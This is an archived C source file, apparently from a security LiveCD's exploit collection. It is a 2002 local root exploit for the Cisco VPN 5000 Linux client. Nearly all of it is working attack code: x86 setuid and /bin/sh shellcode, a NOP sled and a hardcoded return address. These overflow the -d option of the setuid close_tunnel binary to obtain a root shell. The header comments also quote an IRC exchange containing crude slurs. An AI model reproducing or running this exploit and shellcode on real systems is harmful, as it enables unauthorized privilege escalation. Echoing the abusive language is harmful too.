home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / vpnclient / ES-cisco-vpn.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  104 lines

  1. /*
  2. * [ElectronicSouls] Local Root Exploit for Cisco VPN 5000 Client
  3. * (C) BrainStorm - 2002
  4. *
  5. * Program received signal SIGSEGV, Segmentation fault.
  6. * 0x41414141 in ?? ()
  7. * (gdb) i r
  8. * eax            0xffffffff       -1
  9. * ecx            0x0      0
  10. * edx            0x0      0
  11. * ebx            0x4015c154       1075167572
  12. * esp            0xbfffdb70       0xbfffdb70
  13. * ebp            0x41414141       0x41414141
  14. * esi            0x400168e4       1073834212
  15. * edi            0xbfffdbf4       -1073751052
  16. * eip            0x41414141       0x41414141
  17. * eflags         0x10286  66182
  18. *
  19. * as you can see %eip got filled with 0x41 ;)
  20. *
  21. * tested:
  22. *         - on release 5.1.5
  23. *         - from package: vpn-5000-linux-5.1.5-des-k8.tar.Z
  24. *         - system RedHat Linux 7.2 / x86
  25. *
  26. * Bug Information:
  27. *  There are multiple unchecked buffers in the code which allow
  28. *  arbitrary code to be executed with root privileges.
  29. *  this is due to insufficient bounds checking.
  30. *  the result is a classic command line buffer overflow condition.
  31. *  This should be exploitable on Linux/Solaris.
  32. *
  33. * IRC:
  34. *  <BrainStor> a standard cmd line buffer overflow in the -d option
  35. *  <BrainStor> close_tunnel is set +s by default
  36. *  <v0id> tsk tsk tsk, cisco making errors like that
  37. *  <v0id> fucking stupid cunts
  38. *  <BrainStor> yea
  39. *  <BrainStor> its ubeliveable
  40. *  <v0id> man, standard buffer overflow should be practiclly non existant 
  41. these days
  42. *  <v0id> oh well
  43. *  <BrainStor> indeed
  44. *  <BrainStor> but its good tho ;)
  45. */
  46.  
  47. #include <stdio.h>
  48. #include <unistd.h>
  49.  
  50. #define B       2504
  51. #define N       0x90
  52. #define R       0xbfffefc0                                                // 
  53. may needs to be changed deppending on the distro/os..
  54. #define BIN     "/bin/close_tunnel"                                       // 
  55. you maybe want to change this too =P
  56.                                                                           // 
  57. /usr/local/bin/close_tunnel or so..
  58. char shell[] = "HELO"                                                     // 
  59. yes this is a valid x86 instruction ;)
  60.                "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"                         // 
  61. setuid();
  62.                "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
  63.                "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  64.                "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  65.  
  66.  
  67. int main(int argc, char **argv[])
  68. {
  69.   int ret, off, es;
  70.  
  71.   char bof[B];
  72.  
  73.     printf("\n\n");
  74.     printf("       [ElectronicSouls]       \n");
  75.     printf(" Cisco VPN 5000 client exploit \n");
  76.     printf("        (C) BrainStorm       \n\n");
  77.  
  78.     if(argv[1] == NULL) {
  79.        off = 0;
  80.        ret = R; }
  81.  
  82.     else {
  83.        off = atoi(argv[1]);
  84.        ret = atoi(argv[2])+off; }
  85.  
  86.     for (es = 0; es < B; es += 4 )
  87.        *(long *) &bof[es] = ret;
  88.  
  89.     printf("+ return address: 0x%lx \n",ret);
  90.  
  91.     for (es = 0; es < (B - strlen(shell) - 36); ++es)
  92.        *(bof+es) = N;
  93.  
  94.     memcpy(bof+es, shell, strlen(shell));
  95.  
  96.     printf("+ overflowing the buffer..\n\n\n");
  97.  
  98.     execl(BIN,BIN,"-d",bof,0);       // b00m!
  99.  
  100.   return(0);
  101. }
  102.  
  103.  
  104.